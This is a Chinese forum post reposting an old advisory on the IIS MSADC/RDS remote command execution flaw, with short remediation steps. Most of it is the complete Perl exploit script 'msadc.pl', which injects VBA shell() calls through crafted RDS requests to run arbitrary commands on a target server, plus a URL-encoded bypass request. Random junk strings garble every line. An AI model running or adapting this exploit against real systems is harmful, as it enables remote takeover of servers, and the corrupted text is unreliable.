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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ~ ]q^Akq  
(N\Zz*PLz  
涉及程序: WwDxZ>9jw  
Microsoft NT server mckrR$>  
:{tvAdMl7  
描述: ~!!>`x  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YA>du=6y\  
Z qg(\  
详细: :[N[D#/z  
如果你没有时间读详细内容的话,就删除: 5!*5mtI  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5i$~1ZC  
有关的安全问题就没有了。 +B@NSEy/+  
A2"xCJ0`  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ?s5zTT0U>$  
n]@+<TA<uA  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 q'?:{k$%  
关于利用ODBC远程漏洞的描述,请参看: Mf&W<n^j  
?Ib/}JST  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm aM9St!i  
[,a O*7 N  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 y=\jQ6Fc  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp MOG[cp  
L/GM~*Xp(O  
这里不再论述。 HJ5m5':a  
,\DB8v6l\A  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: LZG^\c$  
.VmI4V?}h  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7Yxy2[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! k&DH QvfB  
asW1GZO  
ok\+$+ $ju  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 6DJ,/J2F  
'{cN~A2b4  
#!perl /@RnCjc'  
# 9zO3KT2  
# MSADC/RDS 'usage' (aka exploit) script L238l  
# !qcu-d5b  
# by rain.forest.puppy :/%Vpdd@  
# Ti3BlWQH  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me R~ w(]  
# beta test and find errors! 4Ro(r sO  
f/;\/Q[Z7  
use Socket; use Getopt::Std; fe37T@  
getopts("e:vd:h:XR", \%args); $xu?zd"  
I9F[b#'Pn  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 38q@4U=aiw  
fr#lH3  
if (!defined $args{h} && !defined $args{R}) { HqXo;`Yy}  
print qq~ )i_FU~ LRq  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 9x?;;qC"m9  
-h <host> = host you want to scan (ip or domain) uAjGR  
-d <seconds> = delay between calls, default 1 second u=E?N:I~F  
-X = dump Index Server path table, if available 5GJ0EZ'X  
-v = verbose j^%i?BWw  
-e = external dictionary file for step 5 %o"Rcw|  
(J$A  
Or a -R will resume a command session qz0v1057#  
W;N/Y3Lb  
~; exit;} 4|$D.`Wu  
xeI ,Kz."  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ?J~JQe42  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} $k`8Zx w  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \4j+pU  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); y2+a2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} `>sqP aD  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } zDl, bLiJ  
4]B3C\ v  
if (!defined $args{R}){ $ret = &has_msadc; ]~qN<x  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} m_(hCY=Q$  
yX-xVvlv@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8zc!g|5"  
. "cmd /c "; Y=rr6/k  
$in=<STDIN>; chomp $in; b;t]k9:"L  
$command="cmd /c " . $in ; 'QS"4EvdD  
$1?X%8V  
if (defined $args{R}) {&load; exit;} o(``7A@7a  
$0*47+f  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; >o} ati  
&try_btcustmr; `e9uSF:9C  
_#4,&bh8  
print "\nStep 2: Trying to make our own DSN..."; <!N;(nZ9}O  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; od}x7RI%m  
Dgm%Ng  
print "\nStep 3: Trying known DSNs..."; A C^[3  
&known_dsn; 68c;Vb  
.zAafi0  
print "\nStep 4: Trying known .mdbs..."; ,jnRt%W  
&known_mdb; ^d9raYE`'  
U(N$6{i_  
if (defined $args{e}){ +r$.v|6  
print "\nStep 5: Trying dictionary of DSN names..."; 0tqR wKL  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } CCY|FK  
C%c `@="b  
print "Sorry Charley...maybe next time?\n"; L%d?eHF  
exit; W`'|&7~  
1Kh?JH  
############################################################################## }AiS83B  
.:ZXtU  
sub sendraw { # ripped and modded from whisker 62x< rph  
sleep($delay); # it's a DoS on the server! At least on mine... G r|@CZq  
my ($pstr)=@_; mF}k}0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D:ugP ,  
die("Socket problems\n"); C9H11g7{  
if(connect(S,pack "SnA4x8",2,80,$target)){ d95N$n   
select(S); $|=1; jN} 7Bb X  
print $pstr; my @in=<S>; wmr%h q  
select(STDOUT); close(S); _O;~ }N4u  
return @in; \ui^ d  
} else { die("Can't connect...\n"); }} =Xjuz:9D~  
PBs<8xBx^  
############################################################################## *z"1MU  
`VFl|o#H  
sub make_header { # make the HTTP request z){UuiUM+=  
my $msadc=<<EOT /Tf*d>Yh;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 :5K ~/=6x  
User-Agent: ACTIVEDATA q uGPk)c  
Host: $ip a^T4\  
Content-Length: $clen /N]Ow  
Connection: Keep-Alive _Q}RElA  
inv{dg/2  
ADCClientVersion:01.06 Bb[0\Hs7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 b)hOzx  
7k t7^V<  
--!ADM!ROX!YOUR!WORLD! ~:}XVt0%8  
Content-Type: application/x-varg 4fu\3A&  
Content-Length: $reqlen 8cBW] \ v  
Ddl% V7  
EOT v8vh~^X%P  
; $msadc=~s/\n/\r\n/g; g. Caapy  
return $msadc;} ~2A$R'xb  
-KwL9J4u  
############################################################################## \eMYw7y5 M  
(_&V9vat=  
sub make_req { # make the RDS request X|damI%  
my ($switch, $p1, $p2)=@_; }M9DqZ;I  
my $req=""; my $t1, $t2, $query, $dsn; !!+/Wgd:6  
^Q)gsJY|I  
if ($switch==1){ # this is the btcustmr.mdb query G\:psx/  
$query="Select * from Customers where City=" . make_shell(); Xk&F4BJQk<  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @maZlw1q  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ngkeJ)M0$  
J<($L}T*$  
elsif ($switch==2){ # this is general make table query 3dxnh,]&@  
$query="create table AZZ (B int, C varchar(10))"; }Uwkef.Q  
$dsn="$p1";} l\sS?  
tgvpf /cQ  
elsif ($switch==3){ # this is general exploit table query bco[L@6G$  
$query="select * from AZZ where C=" . make_shell(); y800(z  
$dsn="$p1";} !7kLFW  
1IF'>*  
elsif ($switch==4){ # attempt to hork file info from index server *t?~)o7  
$query="select path from scope()"; J+cAS/MYX  
$dsn="Provider=MSIDXS;";} {Ukc D+.Y  
}[KDE{,V  
elsif ($switch==5){ # bad query 6& &}P79  
$query="select"; Pi"~/MGP$  
$dsn="$p1";} iFwyh`Bcg  
YM`:L  
$t1= make_unicode($query); vNK`Y|u@  
$t2= make_unicode($dsn); ezg^5o;  
$req = "\x02\x00\x03\x00"; p'Y&Z?8  
$req.= "\x08\x00" . pack ("S1", length($t1)); '?`@7Eol  
$req.= "\x00\x00" . $t1 ; u1pc5 Y{  
$req.= "\x08\x00" . pack ("S1", length($t2)); \=EY@ *=  
$req.= "\x00\x00" . $t2 ; [DotS\p!z  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; u>t|X}JH  
return $req;} @`IXu$Wm(  
'!+ P{  
############################################################################## da9*9yN  
^EC)~HP@C  
sub make_shell { # this makes the shell() statement `bZ2x@  
return "'|shell(\"$command\")|'";} :tjgg]  
409x!d~it  
############################################################################## _UH/}!nqB  
2|0Qk&  
sub make_unicode { # quick little function to convert to unicode G.-h=DT]  
my ($in)=@_; my $out; q:2aPfo&  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } *;OJ ~zT  
return $out;} aDN6MZM  
t?]\M&i&  
############################################################################## 55>" R{q  
+7i7`'9pd  
sub rdo_success { # checks for RDO return success (this is kludge) I=4Xv<F  
my (@in) = @_; my $base=content_start(@in); 8 l'bRyuS  
if($in[$base]=~/multipart\/mixed/){ >bX-!<S  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} b(.-~c('  
return 0;} Xr@l+zr  
ih+*T1#:(  
############################################################################## IFd )OZ5  
Xq8uY/j  
sub make_dsn { # this makes a DSN for us H )BOSZD  
my @drives=("c","d","e","f"); 6?3/Ul }  
print "\nMaking DSN: "; J{Y6fHFi  
foreach $drive (@drives) { O8K@&V p  
print "$drive: "; `G=ztL!gq  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . H4PbO/{xO  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" toS(UM n  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ;Pol#0_(  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; E3 ~,+68U  
return 0 if $2 eq "404"; # not found/doesn't exist N_u&3CG  
if($2 eq "200") { Kcscz,  
foreach $line (@results) { %sOWg.0_  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 5u2{n rc  
} return 0;} z +3<$Z  
LJRg>8  
############################################################################## ZNzR `6}  
_'! aj +{  
sub verify_exists { &\;<t, 3A~  
my ($page)=@_; T[5gom  
my @results=sendraw("GET $page HTTP/1.0\n\n"); P &;y] ,)E  
return $results[0];} Od0S2hHO  
y-w2O]  
############################################################################## Ujce |>Wn  
`3 f_d}b  
sub try_btcustmr { ,{.zh&=4  
my @drives=("c","d","e","f"); U0NOU#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); w)45SZ.  
B#HV20\?v  
foreach $dir (@dirs) { !Gln Q`T  
print "$dir -> "; # fun status so you can see progress }1U#Ve,=_  
foreach $drive (@drives) { t$U3|r  
print "$drive: "; # ditto nc3sty1`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ES^>[2Y  
$reqlenlen=length( "$reqlen" ); ;j>*;Q`  
$clen= 206 + $reqlenlen + $reqlen; 0lX)Cl  
mgi,b2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [<]Y+33  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1vB-M6(  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} eq^TA1>T  
vS7/~:C  
############################################################################## nkCecwzr-  
*ZGX-+{  
sub odbc_error { N=OS\pz  
my (@in)=@_; my $base; )>(L{y|uYX  
my $base = content_start(@in); gKmX^A5<  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this GE%2/z p  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u~" siH  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UppBnw  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xj0cgK|!  
return $in[$base+4].$in[$base+5].$in[$base+6];} PV?]UUc'n<  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; m!rwG(  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . F0@Qgk]\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \n[ 392  
?k [%\jq{a  
############################################################################## .CVUEK@Z4  
k1wCa^*gc  
sub verbose { "e~k-\^Y  
my ($in)=@_; S3SV.C:z>  
return if !$verbose; 'I&|1I^  
print STDOUT "\n$in\n";} ,`;jvY~Ec  
./#e1m?.  
############################################################################## 'dkXYtKCB  
#2h+dk$1  
sub save { Ds {{J5Um%  
my ($p1, $p2, $p3, $p4)=@_; i\(\MzW*'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; M(qxq(#{U  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; PKi_Zh.D  
close OUT;} CXTt(-FT  
kGpV;F==*  
############################################################################## Ee&hG[sx  
} <SNO)h3  
sub load { vKU`C?,L  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :bwM]k*$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =g@R%NDNV  
@p=<IN>; close(IN); ;_iPm?Y8  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -<_7\09  
$target= inet_aton($ip) || die("inet_aton problems"); ue@8voZhS/  
print "Resuming to $ip ..."; +W6Hva.  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ,*7H|de7   
if($p[1]==1) { Am=wEu[b  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; \@i=)dA  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; =K :(&6f<t  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); \ZS\i4  
if (rdo_success(@results)){print "Success!\n";} "ml?7Xl,n  
else { print "failed\n"; verbose(odbc_error(@results));}} Yj) e$f  
elsif ($p[1]==3){ Xq|nJ|h  
if(run_query("$p[3]")){ WM/#.  
print "Success!\n";} else { print "failed\n"; }} Mec{_jiH&D  
elsif ($p[1]==4){ 8 4z6zFv?Q  
if(run_query($drvst . "$p[3]")){ 2 #KoN8%  
print "Success!\n"; } else { print "failed\n"; }} -&imjy<  
exit;} F<5nGx cC  
" 9qp "%  
############################################################################## |=\91fP68`  
Raefj(^V  
sub create_table { 1  o|T  
my ($in)=@_; X:_<Y_JT  
$reqlen=length( make_req(2,$in,"") ) - 28; a'uU,Eb}#w  
$reqlenlen=length( "$reqlen" ); /KAlK5<  
$clen= 206 + $reqlenlen + $reqlen; N0Gf0i>  
my @results=sendraw(make_header() . make_req(2,$in,"")); Uan,H1a   
return 1 if rdo_success(@results); M`~!u/D7  
my $temp= odbc_error(@results); verbose($temp); sMH#BCC  
return 1 if $temp=~/Table 'AZZ' already exists/; co/7lsW  
return 0;} =N_,l'U\^  
9RxO7K  
############################################################################## "IG+V:{ou  
k^^:;OR  
sub known_dsn { uArR\k(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go MHo1 lrZa+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", [h4o7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", R uLvG+  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }kE87x'  
J='W+=N  
foreach $dSn (@dsns) { 0N{+y}/G  
print "."; i&A%"lOI9  
next if (!is_access("DSN=$dSn")); XvskB[\  
if(create_table("DSN=$dSn")){ . |uLt J  
print "$dSn successful\n";  5@ foxI  
if(run_query("DSN=$dSn")){ :M j_2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kM!V .e[g  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?>V6P_r>  
Tr&E4e  
############################################################################## o'Pu'y  
A W)a">|  
sub is_access { t[EfOQ  
my ($in)=@_; &!jq!u$(  
$reqlen=length( make_req(5,$in,"") ) - 28; c&f y{}10  
$reqlenlen=length( "$reqlen" ); !%xP}{(7  
$clen= 206 + $reqlenlen + $reqlen; '"'Btxz  
my @results=sendraw(make_header() . make_req(5,$in,"")); H] k'?;  
my $temp= odbc_error(@results); -4flV D  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ;xK_qBIP  
return 0;} u g\w\b  
Kd3QqVJBz1  
############################################################################## :Q_x/+-  
A62<]R)n  
sub run_query { nJJs% @y  
my ($in)=@_; cXN _*%  
$reqlen=length( make_req(3,$in,"") ) - 28; qX$u4I!,  
$reqlenlen=length( "$reqlen" ); dig~J\  
$clen= 206 + $reqlenlen + $reqlen; KFDS q"j  
my @results=sendraw(make_header() . make_req(3,$in,"")); |y"jZT6R}t  
return 1 if rdo_success(@results); TY.FpW  
my $temp= odbc_error(@results); verbose($temp); ,=o0BD2q  
return 0;} e7xj_QH  
? } (=  
############################################################################## =x0No*#|'  
aq Mc6N`z  
sub known_mdb { t)N;'v  &  
my @drives=("c","d","e","f","g"); j$x)pB3]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); u,7zFg)H  
my $dir, $drive, $mdb; o2=A0ogz?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; K=6UK%y A  
\DA$6w\\  
# this is sparse, because I don't know of many XoR>H4xh  
my @sysmdbs=( "\\catroot\\icatalog.mdb", +y&d;0!  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?t rV72D  
"\\system32\\certmdb.mdb", "&lN\&:  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Z0ReWrl;`  
~ y;y(4<  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #tjmWGo,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", t`G)b&3_O  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", :eOR-}p'  
"\\cfusion\\cfapps\\security\\realm_.mdb", #SkX@sl@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8g*hvPc  
"\\cfusion\\database\\cfexamples.mdb", *7" L]6  
"\\cfusion\\database\\cfsnippets.mdb", Ht[{ryTxu  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", :?CQuEv-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Y ?'tUV  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9<s4yZF@x  
"\\cfusion\\database\\smpolicy.mdb", ~]WVG@-  
"\\cfusion\\database\cypress.mdb", ,P6=~q3k  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", aMK~1]Cx  
"\\website\\cgi-win\\dbsample.mdb", 5HlWfD  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ksWSMxm  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" [vTMS2  
); #these are just q0O&UE)6Y  
foreach $drive (@drives) { lKKERO5+  
foreach $dir (@dirs){ 'r+PH*Mr  
foreach $mdb (@sysmdbs) { KJh,,xI>by  
print "."; "Xn%at4  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 7Kf}O6nE  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; SwH2$:f  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ & ,L9OU  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; xx8U$,Ng  
} else { print "Something's borked. Use verbose next time\n"; }}}}} :reTJQwr  
Zb''mf\  
foreach $drive (@drives) { g4&jo_3:p  
foreach $mdb (@mdbs) { xh0xSqDM  
print "."; T_#, A0G  
if(create_table($drv . $drive . $dir . $mdb)){ -<N&0F4|*  
print "\n" . $drive . $dir . $mdb . " successful\n"; K`k'}(vj  
if(run_query($drv . $drive . $dir . $mdb)){ nWWM2v  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 8`v$liH  
} else { print "Something's borked. Use verbose next time\n"; }}}} H?yE3 w  
} Q:MhjkOr}  
i0pU!`0  
############################################################################## Tby,J B^U  
S KXD^OH  
sub hork_idx { F}X0',   
print "\nAttempting to dump Index Server tables...\n"; 7m1KR#j  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Q\kub_I{@  
$reqlen=length( make_req(4,"","") ) - 28; Sm|(  
$reqlenlen=length( "$reqlen" ); m)&znLA  
$clen= 206 + $reqlenlen + $reqlen; SEF6B45}1  
my @results=sendraw2(make_header() . make_req(4,"","")); \#dl6:"  
if (rdo_success(@results)){ Q M 1F?F  
my $max=@results; my $c; my %d; F#V q#|_)>  
for($c=19; $c<$max; $c++){ p-$Cs _{Z  
$results[$c]=~s/\x00//g; \ijMw  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; GAEO$e:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; rZwB> c  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; TGV  
$d{"$1$2"}="";} S~F`  
foreach $c (keys %d){ print "$c\n"; } 7#-y-B]l  
} else {print "Index server doesn't seem to be installed.\n"; }} :w-`PY J%G  
.FP$ IWt/1  
############################################################################## 5/I_w0  
>nn Y:7m  
sub dsn_dict { KMjg;! y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); RKTb' 3H  
while(<IN>){ $v27]"]  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 0 bSA_  
next if (!is_access("DSN=$dSn")); cF+ X,]=6  
if(create_table("DSN=$dSn")){ '$m7ft}  
print "$dSn successful\n"; 8i 0  
if(run_query("DSN=$dSn")){ hW 2.8f$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O/OiQ^T  
print "Something's borked. Use verbose next time\n";}}} wH6u5*$p  
print "\n"; close(IN);} ]=&L_(34  
F 3RB  
############################################################################## s& yk  
=mt?C n}  
sub sendraw2 { # ripped and modded from whisker CjL<RJR=  
sleep($delay); # it's a DoS on the server! At least on mine... BzbDZV  
my ($pstr)=@_; ,M6ZZ* ,e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4j'd3WGpbN  
die("Socket problems\n"); ' UMFS  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]~c+'E`  
print "Connected. Getting data"; Ruaur]  
open(OUT,">raw.out"); my @in; RR|\- 8;  
select(S); $|=1; print $pstr; \54}T 4R  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} YD[H  
close(OUT); select(STDOUT); close(S); return @in; d*]Ew=^L  
} else { die("Can't connect...\n"); }} aXR%;]<Dw  
t[C1z  
############################################################################## d'HOpJE  
|. C1|J'Z  
sub content_start { # this will take in the server headers %|"Qi]c d  
my (@in)=@_; my $c; "Pc$\zJm;  
for ($c=1;$c<500;$c++) { [ygF0-3ND  
if($in[$c] =~/^\x0d\x0a/){ +m$5a YX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } E5G{B'%j  
else { return $c+1; }}} VWf %v  
return -1;} # it should never get here actually /iM$Tb5  
79 Bg]~}Z  
############################################################################## ?y7w}W  
j, u#K)7{T  
sub funky { lrEj/"M  
my (@in)=@_; my $error=odbc_error(@in); `y!/F?o+!  
if($error=~/ADO could not find the specified provider/){ >-cfZ9{!  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; J !#Zi#8sF  
exit;} G$JFuz)|  
if($error=~/A Handler is required/){ JWHS nu!  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;#anZC;  
exit;} `rFAZcEj%  
if($error=~/specified Handler has denied Access/){ mP}#Ccji?  
print "\nServer has custom handler filters (they most likely are patched)\n"; Np,2j KF(  
exit;}} =,/D/v$m'2  
#$1$T  
############################################################################## 4E3g,%9u  
ecHP &Z$  
sub has_msadc { Wk7WK` >i  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #G;X' BN  
my $base=content_start(@results); q~Jq/E"f  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); SS3-+<z  
return 0;} fC<m^%*zgA  
z@h~Vb&I  
######################## s3QEi^~  
"^rNr_  
wyY*:{lZ  
解决方案: o'= VZT9  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _6LoVS  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 <Oz66bTze  
L\  j:  
拿出来充数 哈哈
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